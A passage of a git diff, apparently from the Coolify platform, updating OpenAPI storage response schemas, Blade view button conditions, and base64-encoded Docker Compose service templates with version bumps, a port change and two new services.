"#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ diff --git a/openapi.yaml b/openapi.yaml index 74af3aa13..dd03f9c42 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2188,6 +2188,13 @@ paths: responses: '200': description: 'All storages by application UUID.' + content: + application/json: + schema: + properties: + persistent_storages: { type: array, items: { type: object } } + file_storages: { type: array, items: { type: object } } + type: object '401': $ref: '#/components/responses/401' '400': @@ -2246,15 +2253,22 @@ paths: nullable: true description: 'The file content (file only, not allowed for read-only storages).' type: object + additionalProperties: false responses: '200': description: 'Storage updated.' + content: + application/json: + schema: + type: object '401': $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] diff --git a/resources/views/livewire/project/service/file-storage.blade.php b/resources/views/livewire/project/service/file-storage.blade.php index 24612098b..4bd88d761 100644 --- a/resources/views/livewire/project/service/file-storage.blade.php +++ b/resources/views/livewire/project/service/file-storage.blade.php @@ -15,13 +15,15 @@
- @can('update', $resource) -
- -
- @endcan + @if ($resource instanceof \App\Models\Application) + @can('update', $resource) +
+ +
+ @endcan + @endif @if (!$isReadOnly) @can('update', $resource) diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php index a3a486b92..7fc58000c 100644 --- a/resources/views/livewire/project/shared/storages/show.blade.php +++ b/resources/views/livewire/project/shared/storages/show.blade.php @@ -38,13 +38,15 @@ @endif - @can('update', $resource) -
- -
- @endcan + @if (!$isService) + @can('update', $resource) +
+ +
+ @endcan + @endif @else @can('update', $resource) @if ($isFirst) @@ -61,9 +63,9 @@ @endif - @if (data_get($resource, 'settings.is_preview_deployments_enabled')) + @if (!$isService)
-
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index bc05073d1..f22a2ab53 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", "tags": [ "object", "storage", diff --git a/templates/service-templates.json b/templates/service-templates.json index 49f1f126f..22d0d6d8c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWd